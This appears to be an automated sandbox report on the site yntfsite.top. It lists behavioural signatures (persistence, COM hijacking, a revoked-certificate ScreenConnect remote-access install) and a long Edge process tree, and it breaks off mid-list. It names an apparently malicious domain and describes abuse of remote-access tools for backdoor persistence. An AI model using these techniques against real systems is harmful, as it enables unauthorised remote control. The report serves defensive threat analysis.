Overview

overview

8

Static

static

1

URLScan

urlscan

1

https://yntfsite.top

windows11-21h2-x64

8

Analysis

  • geolocation tags

    asiadelhiinindia
  • user interaction
    yes
  • max time kernel
    600s
  • max time network
    603s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    02/06/2026, 17:02

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    https://yntfsite.top
  • Sample260602-vj4kpsbs21
Score
8/10
backdoordiscoverypersistenceprivilege_escalationransomwareratrevoked_codesign

Malware Config

Signatures

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

    revoked_codesign
  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

    backdoorrat
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 23 IoCs
  • Enumerates connected drives 3 TTPs 48 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

    persistenceprivilege_escalation
  • Drops file in System32 directory 3 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 55 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 64 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 5 IoCs
  • Modifies data under HKEY_USERS 15 IoCs
  • Modifies registry class 64 IoCs
  • NTFS ADS 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://yntfsite.top
    1⤵
    • Loads dropped DLL
    • Drops file in Windows directory
    • Enumerates system info in registry
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:2596
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x23c,0x240,0x244,0x238,0x264,0x7ff8e5ffc188,0x7ff8e5ffc194,0x7ff8e5ffc1a0
      2⤵
        PID:2172
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1840,i,16512376109252693886,6233585886786890621,524288 --field-trial-handle=2128,i,9206287428819230819,5252391663764796033,262144 --variations-seed-version --mojo-platform-channel-handle=2184 /prefetch:11
        2⤵
        • System Time Discovery
        PID:4236
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1640,i,18093551377502340256,6562820035334369313,262144 --field-trial-handle=2128,i,9206287428819230819,5252391663764796033,262144 --variations-seed-version --mojo-platform-channel-handle=2124 /prefetch:2
        2⤵
          PID:3380
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2612,i,6042183415986546555,6866345898046505951,524288 --field-trial-handle=2128,i,9206287428819230819,5252391663764796033,262144 --variations-seed-version --mojo-platform-channel-handle=2784 /prefetch:13
          2⤵
            PID:4004
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3492,i,15619198623518162442,5753995481174822289,2097152 --field-trial-handle=2128,i,9206287428819230819,5252391663764796033,262144 --variations-seed-version --mojo-platform-channel-handle=3528 /prefetch:1
            2⤵
              PID:4472
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3500,i,5133991635296728737,17375474089136406338,2097152 --field-trial-handle=2128,i,9206287428819230819,5252391663764796033,262144 --variations-seed-version --mojo-platform-channel-handle=3536 /prefetch:1
              2⤵
                PID:4828
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4204,i,186238138448204849,17560886731942151219,2097152 --field-trial-handle=2128,i,9206287428819230819,5252391663764796033,262144 --variations-seed-version --mojo-platform-channel-handle=4228 /prefetch:1
                2⤵
                  PID:4196
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4232,i,10174648022714503208,1046498734852066038,2097152 --field-trial-handle=2128,i,9206287428819230819,5252391663764796033,262144 --variations-seed-version --mojo-platform-channel-handle=4284 /prefetch:9
                  2⤵
                    PID:2356
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=4300,i,10380765099113222354,7206833403968160875,2097152 --field-trial-handle=2128,i,9206287428819230819,5252391663764796033,262144 --variations-seed-version --mojo-platform-channel-handle=4392 /prefetch:1
                    2⤵
                      PID:3724
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=4448,i,12840920304442513054,11262573175705595425,2097152 --field-trial-handle=2128,i,9206287428819230819,5252391663764796033,262144 --variations-seed-version --mojo-platform-channel-handle=4460 /prefetch:9
                      2⤵
                        PID:1768
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3636,i,10688919408574525507,5595380344026527691,524288 --field-trial-handle=2128,i,9206287428819230819,5252391663764796033,262144 --variations-seed-version --mojo-platform-channel-handle=3712 /prefetch:14
                        2⤵
                          PID:2348
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5420,i,17506111640541171214,8919080652742862471,524288 --field-trial-handle=2128,i,9206287428819230819,5252391663764796033,262144 --variations-seed-version --mojo-platform-channel-handle=5488 /prefetch:14
                          2⤵
                            PID:4476
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5408,i,7523319256698903593,16320881608854161452,524288 --field-trial-handle=2128,i,9206287428819230819,5252391663764796033,262144 --variations-seed-version --mojo-platform-channel-handle=5508 /prefetch:14
                            2⤵
                              PID:2492
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5864,i,12908852827396596402,14168367355507745320,524288 --field-trial-handle=2128,i,9206287428819230819,5252391663764796033,262144 --variations-seed-version --mojo-platform-channel-handle=5868 /prefetch:14
                              2⤵
                                PID:4956
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6008,i,12712171670462968048,6117809023911468237,524288 --field-trial-handle=2128,i,9206287428819230819,5252391663764796033,262144 --variations-seed-version --mojo-platform-channel-handle=6016 /prefetch:14
                                2⤵
                                • Suspicious use of WriteProcessMemory
                                PID:2532
                                • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.exe
                                  cookie_exporter.exe --cookie-json=1140
                                  3⤵
                                    PID:4488
                                • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6252,i,12672034415639774709,11430516448698718323,524288 --field-trial-handle=2128,i,9206287428819230819,5252391663764796033,262144 --variations-seed-version --mojo-platform-channel-handle=6268 /prefetch:14
                                  2⤵
                                    PID:5032
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6252,i,12672034415639774709,11430516448698718323,524288 --field-trial-handle=2128,i,9206287428819230819,5252391663764796033,262144 --variations-seed-version --mojo-platform-channel-handle=6268 /prefetch:14
                                    2⤵
                                      PID:4228
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6528,i,14523406350435526032,3056352551635417935,524288 --field-trial-handle=2128,i,9206287428819230819,5252391663764796033,262144 --variations-seed-version --mojo-platform-channel-handle=6540 /prefetch:14
                                      2⤵
                                        PID:4500
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6524,i,2959069784913988895,13688549757682031023,524288 --field-trial-handle=2128,i,9206287428819230819,5252391663764796033,262144 --variations-seed-version --mojo-platform-channel-handle=6660 /prefetch:14
                                        2⤵
                                          PID:3756
                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6580,i,5243168604757133239,15963045445855472810,524288 --field-trial-handle=2128,i,9206287428819230819,5252391663764796033,262144 --variations-seed-version --mojo-platform-channel-handle=6688 /prefetch:14
                                          2⤵
                                            PID:2696
                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6716,i,16036806835647219470,9300587872872023128,524288 --field-trial-handle=2128,i,9206287428819230819,5252391663764796033,262144 --variations-seed-version --mojo-platform-channel-handle=6852 /prefetch:14
                                            2⤵
                                              PID:5028
                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7004,i,15512574399222698120,17505203391858641088,524288 --field-trial-handle=2128,i,9206287428819230819,5252391663764796033,262144 --variations-seed-version --mojo-platform-channel-handle=6996 /prefetch:14
                                              2⤵
                                                PID:4492
                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4200,i,12316567343647342732,18240541278746020068,524288 --field-trial-handle=2128,i,9206287428819230819,5252391663764796033,262144 --variations-seed-version --mojo-platform-channel-handle=4472 /prefetch:14
                                                2⤵
                                                  PID:4700
                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4296,i,17363225737832310114,12905988418430573016,524288 --field-trial-handle=2128,i,9206287428819230819,5252391663764796033,262144 --variations-seed-version --mojo-platform-channel-handle=4216 /prefetch:14
                                                  2⤵
                                                    PID:4904
                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4404,i,4535423180136423969,5573313722691892185,524288 --field-trial-handle=2128,i,9206287428819230819,5252391663764796033,262144 --variations-seed-version --mojo-platform-channel-handle=4508 /prefetch:14
                                                    2⤵
                                                      PID:2212
                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --always-read-main-dll --metrics-shmem-handle=4524,i,14844104232453619691,2345625760368824254,2097152 --field-trial-handle=2128,i,9206287428819230819,5252391663764796033,262144 --variations-seed-version --mojo-platform-channel-handle=4516 /prefetch:1
                                                      2⤵
                                                        PID:4852
                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5528,i,6376786502054676135,8824207284139048318,524288 --field-trial-handle=2128,i,9206287428819230819,5252391663764796033,262144 --variations-seed-version --mojo-platform-channel-handle=2408 /prefetch:14
                                                        2⤵
                                                          PID:808
                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --always-read-main-dll --metrics-shmem-handle=5496,i,10781608838775024556,6193534775956929018,2097152 --field-trial-handle=2128,i,9206287428819230819,5252391663764796033,262144 --variations-seed-version --mojo-platform-channel-handle=4644 /prefetch:1
                                                          2⤵
                                                            PID:696
                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4420,i,7757526203779640157,16916799479314663627,524288 --field-trial-handle=2128,i,9206287428819230819,5252391663764796033,262144 --variations-seed-version --mojo-platform-channel-handle=4520 /prefetch:14
                                                            2⤵
                                                            • NTFS ADS
                                                            PID:4968
                                                          • C:\Windows\System32\msiexec.exe
                                                            "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\Downloads\ScreenConnect.ClientSetup.msi"
                                                            2⤵
                                                            • Enumerates connected drives
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            • Suspicious use of FindShellTrayWindow
                                                            PID:3448
                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4952,i,2815119135877495647,17334555270230493101,524288 --field-trial-handle=2128,i,9206287428819230819,5252391663764796033,262144 --variations-seed-version --mojo-platform-channel-handle=6268 /prefetch:14
                                                            2⤵
                                                              PID:3752
                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6588,i,4546402058398164679,11190960656622948668,524288 --field-trial-handle=2128,i,9206287428819230819,5252391663764796033,262144 --variations-seed-version --mojo-platform-channel-handle=6992 /prefetch:14
                                                              2⤵
                                                                PID:4636
                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4968,i,6447794444628279029,2862347408342485322,524288 --field-trial-handle=2128,i,9206287428819230819,5252391663764796033,262144 --variations-seed-version --mojo-platform-channel-handle=7192 /prefetch:14
                                                                2⤵
                                                                  PID:5644
                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6780,i,6197755751439867544,15811335790838680300,262144 --field-trial-handle=2128,i,9206287428819230819,5252391663764796033,262144 --variations-seed-version --mojo-platform-channel-handle=6224 /prefetch:10
                                                                  2⤵
                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                  PID:5840
                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5616,i,11731698207945133852,453473483100880395,524288 --field-trial-handle=2128,i,9206287428819230819,5252391663764796033,262144 --variations-seed-version --mojo-platform-channel-handle=6556 /prefetch:14
                                                                  2⤵
                                                                    PID:5920
                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5988,i,15073299862635275738,11250767248263285681,524288 --field-trial-handle=2128,i,9206287428819230819,5252391663764796033,262144 --variations-seed-version --mojo-platform-channel-handle=6440 /prefetch:14
                                                                    2⤵
                                                                      PID:6132
                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2536,i,450971946824556586,4611060727869378444,524288 --field-trial-handle=2128,i,9206287428819230819,5252391663764796033,262144 --variations-seed-version --mojo-platform-channel-handle=5912 /prefetch:14
                                                                      2⤵
                                                                        PID:4760
                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6836,i,8357189097983697380,14262894999221355322,524288 --field-trial-handle=2128,i,9206287428819230819,5252391663764796033,262144 --variations-seed-version --mojo-platform-channel-handle=6232 /prefetch:14
                                                                        2⤵
                                                                          PID:4220
                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6460,i,13369163037925091549,10948343134113068353,524288 --field-trial-handle=2128,i,9206287428819230819,5252391663764796033,262144 --variations-seed-version --mojo-platform-channel-handle=5692 /prefetch:14
                                                                          2⤵
                                                                            PID:5200
                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6692,i,2976125595089711117,6618915563315473468,524288 --field-trial-handle=2128,i,9206287428819230819,5252391663764796033,262144 --variations-seed-version --mojo-platform-channel-handle=5444 /prefetch:14
                                                                            2⤵
                                                                              PID:3376
                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6280,i,7068313251800836840,3923654269945989493,524288 --field-trial-handle=2128,i,9206287428819230819,5252391663764796033,262144 --variations-seed-version --mojo-platform-channel-handle=5688 /prefetch:14
                                                                              2⤵
                                                                                PID:2884
                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5536,i,14090173971970329551,8562633816045120764,524288 --field-trial-handle=2128,i,9206287428819230819,5252391663764796033,262144 --variations-seed-version --mojo-platform-channel-handle=6756 /prefetch:14
                                                                                2⤵
                                                                                  PID:5880
                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6796,i,7343689847198899934,298614695391255502,524288 --field-trial-handle=2128,i,9206287428819230819,5252391663764796033,262144 --variations-seed-version --mojo-platform-channel-handle=3544 /prefetch:14
                                                                                  2⤵
                                                                                    PID:1276
                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_xpay_wallet.mojom.EdgeXPayWalletService --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5972,i,17025017922827570509,8661703703960766302,524288 --field-trial-handle=2128,i,9206287428819230819,5252391663764796033,262144 --variations-seed-version --mojo-platform-channel-handle=5956 /prefetch:14
                                                                                    2⤵
                                                                                      PID:5684
                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6756,i,2918429051093232436,8936363211632429478,524288 --field-trial-handle=2128,i,9206287428819230819,5252391663764796033,262144 --variations-seed-version --mojo-platform-channel-handle=6280 /prefetch:14
                                                                                      2⤵
                                                                                        PID:4092
                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
